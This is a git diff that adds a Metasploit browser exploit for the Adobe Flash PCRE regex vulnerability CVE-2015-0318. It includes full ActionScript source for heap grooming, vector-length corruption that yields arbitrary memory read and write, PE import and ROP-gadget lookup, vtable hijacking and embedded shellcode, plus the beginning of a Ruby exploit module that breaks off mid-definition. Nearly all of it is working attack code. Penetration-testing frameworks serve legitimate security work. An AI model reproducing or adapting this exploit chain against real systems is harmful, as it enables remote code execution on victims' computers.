diff --git a/data/exploits/CVE-2015-0318/Main.swf b/data/exploits/CVE-2015-0318/Main.swf new file mode 100755 index 0000000000..0fc3a4c1c2 Binary files /dev/null and b/data/exploits/CVE-2015-0318/Main.swf differ diff --git a/external/source/exploits/CVE-2015-0318/Main.as b/external/source/exploits/CVE-2015-0318/Main.as new file mode 100644 index 0000000000..21856909ea --- /dev/null +++ b/external/source/exploits/CVE-2015-0318/Main.as @@ -0,0 +1,666 @@ +package +{ + import flash.display.*; + import flash.utils.ByteArray; + import flash.external.ExternalInterface; + + public class Main extends Sprite + { + private var i:int; + private var j:int; + + private const OP_END:int = 0; + private const OP_ANY:int = 12; + private const OP_KET:int = 84; + private const OP_CBRA:int = 94; + private const OP_FAIL:int = 108; + private const OP_ACCEPT:int = 109; + + private var testSubject:String = 'c01db33f'; + private var subject:String = ''; + + private var count_576:int = 128; + private var pre_576:int = 4; + private var groom_576:Array = new Array(count_576); + + private var count_re:int = 8; + private var source_re:Vector. = new Vector.(count_re); + private var compiled_re:Vector. = new Vector.(count_re); + private var subjects:Vector. = new Vector.(count_re); + + private var count_504:int = 256 * 3; + private var pre_504:int = 30; + private var groom_504:Array = new Array(count_504); + + private var junk:Array = new Array(); + private var junk_idx:int = 0; + + public static function Alert(message:String):void { + ExternalInterface.call('debug_alert', message); + } + + public static function Debug(message:String):void { + ExternalInterface.call('debug_print', message); + } + + public function MakeRegex(c:String):String { + var i:int; + var r:String = '(c01db33f|^(' + c + '*)' + for (i = 0; i < 39; ++i) { + r += '(A)'; + } + r += '\\' + r += '41'; + for (i = 0; i < 20; ++i) { + r += 'A'; + } + r += '(' + r += '\\' + r += 'c' + r += '\uc080' + r += '*)?(?70))'; + return r; + } + + public function MakeSubject(c:String):String { + var i:int; + var s:String = c; + for (i = 0; i < 0x80 - 0x3d; ++i) { + s += c; + } + for (i = 0; i < 60; ++i) { + s += 'A'; + } + return s; + } + + public function MakeByteArray(size:int):ByteArray { + var i:int = 0; + var b:ByteArray = new ByteArray(); + b.length = size; + for (i = 0; i < size; ++i) { + b.writeByte(0x23); + } + return b; + } + + public function Initialise():void { + for (i = 0; i < 8; ++i) { + subjects[i] = MakeSubject(i.toString()); + source_re[i] = MakeRegex(i.toString()); + } + } + + public function CompileRegex():RegExp { + + // heap groom the block of regex bytecode we want to follow our + // legitimate bytecode. + + for (i = 0; i < count_576; ++i) { + var b:ByteArray = new ByteArray(); + b.length = 576; + + // regex nop sled :-p + for (j = 0; j < 500; ++j) { + b.writeByte(OP_ANY); + } + + // this is the capturing bracket that find_bracket will be + // looking for to match (?70) + b.writeByte(OP_CBRA); + b.writeByte(1); // WORD length of group (only != 0) + b.writeByte(0); + b.writeByte(0); // WORD number of group (must == 70) + b.writeByte(70); + + // we use OP_CBRA to write the current match length at one + // dword past the end of our offset_vector. + // + // this is due to another bug in pcre_exec where it is + // assumed that the group number is + // 0 < number < md->offset_max + // and it is only checked that group < md->offset_max, and + // then indexing is done backwards frm the end of the buffer, + // so a group number of 0 lets us index one dword past the end + // of the offset_vector. + + b.writeByte(OP_CBRA); + b.writeByte(0); // WORD length of group + b.writeByte(0); + b.writeByte(0); // WORD number of group + b.writeByte(0); + + // we're done with executing this regex for now. + b.writeByte(OP_ACCEPT); // yay a match :-) + + b.writeByte(OP_KET); // closing KET for group (?70) + b.writeByte(OP_KET); // closing KET for exploit group + + b.writeByte(OP_END); + + b.writeByte(0); + + groom_576[i] = b; + } + + // make some gaps + for (i = 0; i < count_576; i += 2) { + groom_576[i].length = 0; + groom_576[i] = null; + } + + for (i = 0; i < (pre_576 * 2); i += 2) { + groom_576[i] = MakeByteArray(576); + } + + for (i = 0; i < count_re; ++i) { + try { + Debug('[*] compiling regex'); + var re:RegExp = new RegExp(source_re[i]); + compiled_re[i] = re; + var match:Object = re.exec(testSubject); + if (match != null && match[0] == 'c01db33f') { + Debug('[*] compiled successfully'); + subject = subjects[i]; + return re; + } + else { + // that allocation was no good, fill with a bytearray + junk[junk_idx++] = MakeByteArray(576); + } + } catch (error:Error) { + Debug('[*] error compiling regex: ' + error.message); + } + + Debug('[*] failed...'); + } + + Debug('[*] failed first groom'); + return null; + } + + public function negative(i:uint):uint { + return (~i) + 1; + } + + public function CorruptVector(r:RegExp):Vector. { + + var v:Vector. = null; + var uv:Vector. = null; + var ov:Vector. = null; + + for (i = 0; i < count_504; ++i) { + v = new Vector.(124); + v[0] = 0xc01db33f + v[1] = i; + for (j = 2; j < 124; ++j) { + v[j] = 0x88888888; + } + groom_504[i] = v; + } + + for (i = 0; i < count_504; i += 3) { + groom_504[i].length = 0; + groom_504[i] = null; + } + + for (i = 0; i < pre_504; i += 1) { + junk[junk_idx++] = MakeByteArray(504); + } + + v = null; + for (i = 0; i < 128; i += 3) { + try { + Debug('[*] executing regex'); + r.exec(subject); + } catch (error:Error) { + Debug('[*] regex execution failed: ' + error.message); + } + + for (j = 1; j < count_504; j += 3) { + if (groom_504[j].length != 124) { + Debug('[*] corrupted vector'); + v = groom_504[j]; + break; + } + } + + if (v != null) { + break; + } + + Debug('[*] failed...'); + junk[junk_idx++] = MakeByteArray(504); + junk[junk_idx++] = MakeByteArray(504); + } + + // at this point we have a vector with a corrupt length, hopefully + // followed by another vector of legitimate length. + + if (v == null) { + Debug('[*] failed to groom for vector corruption'); + return null; + } + + if (v[126] != 0xc01db33f) { + Debug('[*] magic check failed!'); + } + + // read out the index of the following vector; this is the vector + // that we will use for the rest of the exploit + + i = v[127]; + uv = groom_504[i]; + uv.fixed = true; + + // corrupt the length of uv so that we can access all of memory :) + + v[124] = 0xffffffff; + + // first fix the length of the original corrupted array so we don't + // need to worry about it any more... + + uv[negative(0x80)] = 0x6e; + + // now read back 0x1f8 bytes before the first vector; this must be + // inside the original offset_vector that we overflowed, (so it is + // guaranteed to be safe) and this buffer is directly free'd at the + // end of pcre_exec. as it's quite a large allocation, we can be + // quite sure that it is still on the freelist and we can steal the + // freelist pointer from it, which will likely point to the block + // after our second vector. + + uv[0] = uv[negative(0xfe)]; + + // we really can't do much sanity checking here; all we know is + // that this should be a pointer, and it will be 8 byte aligned. + + if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) { + Debug('[*] freelist ptr sanity check failed!'); + uv[negative(2)] = 0x6e; + return null; + } + + // uv[0] == address of our vector.'s buffer + + uv[0] -= 0x1f0; + + return uv; + } + + public function FindGCHeap(m:Memory):uint { + + // nothing much to say about this; we know that there's a + // FixedBlock at the start of the page that our vector is allocated + // on, and that holds a pointer back to the global GCHeap, which is + // a static singleton in the flash module. I've copied in the class + // declarations for the structures being traversed, for reference. + + var fixed_block:uint = m.vector_base & 0xfffff000; + + /* + struct FixedBlock + { + void* firstFree; // First object on the block's free list + void* nextItem; // First object free at the end of the block + FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator) + FixedBlock* prev; // Previous block on the list of blocks + uint16_t numAlloc; // Number of items allocated from the block + uint16_t size; // Size of objects in the block + FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator) + FixedBlock *prevFree; // Previous block on the list of blocks with free items +-------> FixedAlloc *alloc; // The allocator that owns this block + char items[1];l // Memory for objects starts here + }; + */ + + var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c); + + /* + class FixedAlloc + { + private: +-------> GCHeap *m_heap; // The heap from which we obtain memory + uint32_t m_itemsPerBlock; // Number of items that fit in a block + uint32_t m_itemSize; // Size of each individual item + + FixedBlock* m_firstBlock; // First block on list of free blocks + FixedBlock* m_lastBlock; // Last block on list of free blocks + FixedBlock* m_firstFree; // The lowest priority block that has free items + + size_t m_numBlocks; // Number of blocks owned by this allocator + #ifdef MMGC_MEMORY_PROFILER + size_t m_totalAskSize; // Current total amount of memory requested from this allocator + #endif + bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe + } + */ + + var gcheap:uint = m.read_dword(fixed_alloc); + + return gcheap; + } + + public function FindPwned(m:Memory, gcheap:uint):uint { + + // we're going to walk the heap to find it because we don't like + // being crashy. a lazier approach would be to spray a ton of + // objects and scan forward from our array; this is more reliable. + + /* + class GCHeap + { + public: +-------> Region *lastRegion; + + private: + ... + }; + */ + + // I have no idea why this is at offset 4. GCheap is not virtual + // so perhaps the Flash code has changed since the github avmplus + // release. + + var region:uint = m.read_dword(gcheap + 4); + + /* + class Region + { + public: + Region *prev; + char *baseAddr; + char *reserveTop; + char *commitTop; + size_t blockId; + }; + */ + + while (region != 0) { + var region_base:uint = m.read_dword(region + 4); + var region_rtop:uint = m.read_dword(region + 8); + var region_top:uint = m.read_dword(region + 12); + + if (region_rtop & 1 != 0) { + Debug('[*] this browser already got pwned, go away'); + return 0; + } + + m.write_dword(region + 8, region_rtop + 1); + + // TODO: we can optimise here as we know the alignment of the + // magic values. + + Alert(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']'); + + for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) { + if (m.read_dword(ptr) == 0xdecafbad + && m.read_dword(ptr + 4) == 0xdecafbad) { + + // we have found our two magic values + return ptr - 0x10; + } + } + + // region = region->prev; + region = m.read_dword(region); + } + + return 0; + } + + public function WriteShellcode(v:Vector., i:uint, ptr:uint, fun:uint):void { + + // at this point we are sandwiched on the stack between the current + // frame and the previous frame; this is hazardous, we need to + // shift our stack back above the current frame or things will go + // wrong(tm). + + v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000 + v[i++] = 0x90900000; + + //v[i++] = 0xcccccccc; + + // we're using skylined's win32 calc shellcode, the function + // version that saves registers, but without the ret at the end... + + v[i++] = 0x52d23160; + v[i++] = 0x6c616368; + v[i++] = 0x52e68963; + v[i++] = 0x728b6456; + v[i++] = 0x0c768b30; + v[i++] = 0xad0c768b; + v[i++] = 0x7e8b308b; + v[i++] = 0x3c5f8b18; + v[i++] = 0x781f5c8b; + v[i++] = 0x201f748b; + v[i++] = 0x4c8bfe01; + v[i++] = 0xf901241f; + v[i++] = 0x512cb70f; + v[i++] = 0x3c81ad42; + v[i++] = 0x6e695707; + v[i++] = 0x8bf17545; + v[i++] = 0x011c1f74; + v[i++] = 0xae3c03fe; + v[i++] = 0x5858d7ff; + v[i++] = 0x90909061; + + // we just put things back how they were; at least, everything + // important. we need esp and ebp to be correct, which is easy; + // we need ecx to point to the object's vtable and then we can + // just jump to the actual method implementation as though we + // had hooked it. + + v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8 + v[i++] = 0x90900000; + v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c] + v[i++] = 0x90000012; + v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr + v[i++] = ptr; + v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr + v[i++] = fun; + v[i++] = 0x9090e0ff; // FFE0 jmp eax + } + + public function Main() { + + i = 0; + + Initialise(); + + var r:RegExp = CompileRegex(); + if (r == null) { + return; + } + + Alert('hai'); + + var v:Vector. = CorruptVector(r); + if (v == null) { + Debug("CorruptVector returns null"); + return; + } + + Alert("Memory"); + var m:Memory = new Memory(v, v[0], 0x6e); + + // at this point we have an absolute read/write primitive letting + // us read and write dwords anywhere in memory, so everything else + // is a technicality. + + // we need an exception handler from here, because we have a vector + // that's addressing the whole address space, and if anything goes + // wrong, we want to clean that up or things will get unpleasant. + + try { + + // first we follow some pointers on the heap back to retrieve + // the address of the static GCHeap object in the flash module. + + // this is useful for two reasons; firstly it gives us a + // pointer into the flash module, but secondly (and more + // importantly) we can use the region lists in the GCHeap + // structure to safely scan the heap to find things. + + var gcheap:uint = FindGCHeap(m); + if (gcheap == 0) { + return; + } + + // now we can parse the flash module in memory, locate useful + // imports and find the stack adjust gadget that we need. + + Debug('[*] scanning flash module for gadgets'); + var p:PE32 = new PE32(m, gcheap); + + Debug(' [-] ' + p.base.toString(16) + ' flash base'); + + var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect'); + Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect'); + + // 81 c4 40 00 00 00 add esp, 40h + // c3 ret + + var gadget_bytes:ByteArray = new ByteArray(); + gadget_bytes.length = 7; + gadget_bytes.writeByte(0x81); + gadget_bytes.writeByte(0xc4); + gadget_bytes.writeByte(0x40); + gadget_bytes.writeByte(0x00); + gadget_bytes.writeByte(0x00); + gadget_bytes.writeByte(0x00); + gadget_bytes.writeByte(0xc3); + + var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes); + var ret:uint = add_esp_40h_ret + 6; + Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret'); + Debug(' [-] ' + ret.toString(16) + ' ret'); + + // now we create an actionscript class that we can readily + // signature on the heap; we're going to find this object and + // overwrite its vtable pointer to gain control of execution. + + Debug('[*] scanning heap to find pwned object'); + var pwned:Pwned = new Pwned(); + var pwned_ptr:uint = FindPwned(m, gcheap); + Debug('[*] pwned object: ' + pwned_ptr.toString(16)); + if (pwned_ptr == 0) { + return; + } + + // we have a pointer to the object; save the vtable pointer for + // replacement later and then create a new vtable containing + // our gadget at the correct offset for the 'Rop' function. + + // object ptr is actually a ScriptObject* for our ClassClosure? + var object_ptr:uint = m.read_dword(pwned_ptr + 8); + var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4); + var method_ptr:uint = m.read_dword(vtable_ptr + 4); + + var shellcode:uint = m.vector_base + 4; + + WriteShellcode(v, 1, vtable_ptr, method_ptr); + + // invoking the method first makes our life simpler; otherwise + // flash will go hunt for the right method, and recovery was + // quite messy. + + var a:uint = 0x61616161; + pwned.Rop( + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, + a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a); + + // overwrite the method pointer + m.write_dword(vtable_ptr + 4, add_esp_40h_ret); + + // fix up our vector length already, since we won't need it again. + m.Cleanup(); + + var PAGE_EXECUTE_READWRITE:uint = 0x40; + + // where better to rop than the actual stack :-P + Debug('[*] getting ma rop on'); + pwned.Rop( + + // ret sled oh yeah! + + // actually this is just me lazily making stack space so + // that VirtualProtect doesn't trample all over any of + // flash's stuff and make it have a sad. + + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, // 3f + + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, // 7f + + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, // cf + + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + + virtual_protect, // BOOL WINAPI VirtualProtect( + shellcode, // ... + shellcode, // LPVOID lpAddress, + 0x1000, // SIZE_T dwSize, + PAGE_EXECUTE_READWRITE, // DWORD flNewProtect, + m.vector_base, // LPDWORD lpflOldProtect + // ); + + 0x41414141, 0x41414141); + + Debug('[*] we survived!'); + + // no need to fix the vtable, as we only overwrote the pointer + // for the Rop method, and it won't get called again. + + } catch (e:Error) { + Debug('[!] error: ' + e.message); + } finally { + // we *always* need to clean up our corrupt vector as flash + // will try to zero it out later otherwise... + + Debug('[*] cleaning up corrupted vector'); + m.Cleanup(); + } + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0318/Memory.as b/external/source/exploits/CVE-2015-0318/Memory.as new file mode 100644 index 0000000000..5f307f80ac --- /dev/null +++ b/external/source/exploits/CVE-2015-0318/Memory.as @@ -0,0 +1,150 @@ +package +{ + // some utilities to encapsulate using the relative read/write of the + // corrupt vector. as an absolute read/write of the whole address + // space. + public class Memory + { + public var vector:Vector.; + public var vector_base:uint; + public var vector_size:uint; + + private static function negative(i:uint):uint { + return (~i) + 1; + } + + public function Memory(v:Vector., b:uint, s:uint) { + vector = v; + vector_base = b; + vector_size = s; + } + + public function Cleanup():void { + + // restore the correct size to our vector so that flash doesn't + // inadvertently trample on lots of memory. + + vector[negative(2)] = vector_size; + } + + public function read_dword(address:uint):uint { + var offset:uint = 0; + + if (address & 0x3 != 0) { + + // NB: we could read 2 dwords here, and produce the correct + // dword, but that could lead to oob reads if we're close to + // a page boundary. take the path of least danger, and throw + // for debugging. + + throw 'read_dword called with misaligned address' + } + + if (address < vector_base) { + offset = negative((vector_base - address) >> 2); + } + else { + offset = address - vector_base >> 2; + } + + try { + return vector[offset]; + } catch (e:Error) { + + // we can't read at offset 0xffffffff, sometimes we will want + // to, but that is just life. + } + + return 0; + } + + public function read_byte(address:uint):uint { + var dword_address:uint = address & 0xfffffffc; + var dword:uint = read_dword(dword_address); + + while (address & 0x3) { + dword = dword >> 8; + address -= 1; + } + + return (dword & 0xff); + } + + public function read_string(address:uint):String { + var string:String = ''; + var dword:uint = 0; + + while (address & 0x3) { + var char:uint = read_byte(address); + + if (char == 0) { + return string; + } + + string += String.fromCharCode(char); + address += 1; + } + + while (true) { + dword = read_dword(address); + if ((dword & 0xff) != 0) { + string += String.fromCharCode(dword & 0xff); + dword = dword >> 8; + } + else { + return string; + } + + if ((dword & 0xff) != 0) { + string += String.fromCharCode(dword & 0xff); + dword = dword >> 8; + } + else { + return string; + } + + if ((dword & 0xff) != 0) { + string += String.fromCharCode(dword & 0xff); + dword = dword >> 8; + } + else { + return string; + } + + if ((dword & 0xff) != 0) { + string += String.fromCharCode(dword & 0xff); + } + else { + return string; + } + + address += 4; + } + + return string; + } + + public function write_dword(address:uint, value:uint):void { + var offset:uint = 0; + + if (address & 0x3 != 0) { + + // NB: we could read 2 dwords here, and write 2 dwords, and + // produce the correct dword, but that could lead to oob reads + // and writes if we're close to a page boundary. take the path + // of least danger, and throw for debugging. + + throw 'write_dword called with misaligned address' + } + + if (address < vector_base) { + offset = negative((vector_base - address) >> 2); + } + else { + offset = (address - vector_base) >> 2; + } + + vector[offset] = value; + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0318/PE32.as b/external/source/exploits/CVE-2015-0318/PE32.as new file mode 100644 index 0000000000..638cabbffc --- /dev/null +++ b/external/source/exploits/CVE-2015-0318/PE32.as @@ -0,0 +1,157 @@ +package +{ + import flash.utils.ByteArray; + + public class PE32 + { + private var m:Memory; + + public var base:uint; + public var dos_header:uint; + public var nt_header:uint; + public var file_header:uint; + public var opt_header:uint; + + private function FindBase(ptr:uint):uint { + ptr = ptr & 0xffff0000; + var dword:uint = m.read_dword(ptr); + + while ((dword & 0xffff) != 0x5a4d) { + ptr -= 0x10000; + dword = m.read_dword(ptr); + } + + return ptr; + } + + public function ParseHeaders():void { + dos_header = base; + var e_lfanew:uint = m.read_dword(dos_header + 60); + + nt_header = dos_header + e_lfanew; + var nt_magic:uint = m.read_dword(nt_header); + if (nt_magic != 0x00004550) { + dos_header = 0; + nt_header = 0; + return; + } + + file_header = nt_header + 4; + var machine:uint = m.read_dword(file_header); + if ((machine & 0xffff) != 0x014c) { + dos_header = 0; + nt_header = 0; + file_header = 0; + return; + } + + opt_header = nt_header + 24; + var opt_magic:uint = m.read_dword(opt_header); + if ((opt_magic & 0xffff) != 0x10b) { + dos_header = 0; + nt_header = 0; + file_header = 0; + opt_header = 0; + return; + } + } + + public function GetImport(mod_name:String, fun_name:String):uint { + if (base == 0 || dos_header == 0) { + return 0; + } + + var data_directory:uint = opt_header + 96; + + var import_dir:uint = data_directory + 8; + var import_rva:uint = m.read_dword(import_dir); + var import_size:uint = m.read_dword(import_dir + 4); + if (import_size == 0) { + return 0; + } + + var import_descriptor:uint = base + import_rva; + var orig_first_thunk:uint = m.read_dword(import_descriptor); + while (orig_first_thunk != 0) { + + var module_name_ptr:uint = + dos_header + m.read_dword(import_descriptor + 12); + + if (module_name_ptr != 0) { + var module_name:String = m.read_string(module_name_ptr); + if (module_name == mod_name) { + orig_first_thunk += dos_header; + break; + } + } + + import_descriptor += (5 * 4); + orig_first_thunk = m.read_dword(import_descriptor); + } + + var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16); + var thunk:uint = orig_first_thunk; + var import_by_name_rva:uint = m.read_dword(thunk); + while (import_by_name_rva != 0) { + var function_name_ptr:uint = dos_header + import_by_name_rva + 2; + + var function_name:String = m.read_string(function_name_ptr); + if (function_name == fun_name) { + return m.read_dword(first_thunk); + } + + thunk += 4; + first_thunk += 4; + import_by_name_rva = m.read_dword(thunk); + } + + return 0; + } + + public function GetGadget(gadget:ByteArray):uint { + var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff; + var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff; + var section_header:uint = opt_header + opt_header_size; + + for (var i:uint = 0; i < section_count; ++i) { + var characteristics:uint = m.read_dword(section_header + (9 * 4)); + + if ((characteristics & 0xe0000000) == 0x60000000) { + // this section is read/execute, so scan for gadget + + var section_rva:uint = m.read_dword(section_header + 12); + var section_size:uint = m.read_dword(section_header + 16); + var section_base:uint = base + section_rva; + var section:ByteArray = new ByteArray(); + section.endian = "littleEndian"; + section.length = section_size; + + for (var j:uint = 0; j < section_size; j += 4) { + section.writeUnsignedInt( + m.read_dword(section_base + j)); + } + + for (j = 0; j < section_size; j += 1) { + section.position = j; + gadget.position = 0; + while (section.readByte() == gadget.readByte()) { + if (gadget.position == gadget.length) { + return section_base + j; + } + } + } + } + + section_header += 10 * 5; + } + + return 0; + } + + public function PE32(memory:Memory, ptr:uint) { + m = memory; + base = FindBase(ptr); + ParseHeaders(); + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0318/Pwned.as b/external/source/exploits/CVE-2015-0318/Pwned.as new file mode 100644 index 0000000000..58e4e2b901 --- /dev/null +++ b/external/source/exploits/CVE-2015-0318/Pwned.as @@ -0,0 +1,51 @@ +package +{ + public class Pwned + { + public var magic1:uint; + public var magic2:uint; + + public function Rop( + arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint, + arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint, + arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint, + arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint, + arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint, + arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint, + arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint, + arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint, + arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint, + arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint, + arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint, + arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint, + arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint, + arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint, + arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint, + arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint, + arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint, + arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint, + arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint, + arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint, + arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint, + arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint, + arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint, + arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint, + arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint, + arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint, + arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint, + arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint, + arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint, + arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint, + arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint, + arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint + { + return magic1 + magic2; + } + + public function Pwned() + { + magic1 = 0xdecafbad; + magic2 = 0xdecafbad; + } + } +} \ No newline at end of file diff --git a/modules/exploits/windows/browser/adobe_flash_pcre.rb b/modules/exploits/windows/browser/adobe_flash_pcre.rb new file mode 100644 index 0000000000..ea5138e1f5 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_pcre.rb @@ -0,0 +1,120 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000' + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player PCRE Regex Vulnerability", + 'Description' => %q{ + Flash + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mark Brand' # Found vuln + ], + 'References' => + [ + [ 'CVE', '2015-0318' ], + [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ], + [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ] + ], + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true + }, + 'DefaultOptions' => + { +# 'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => 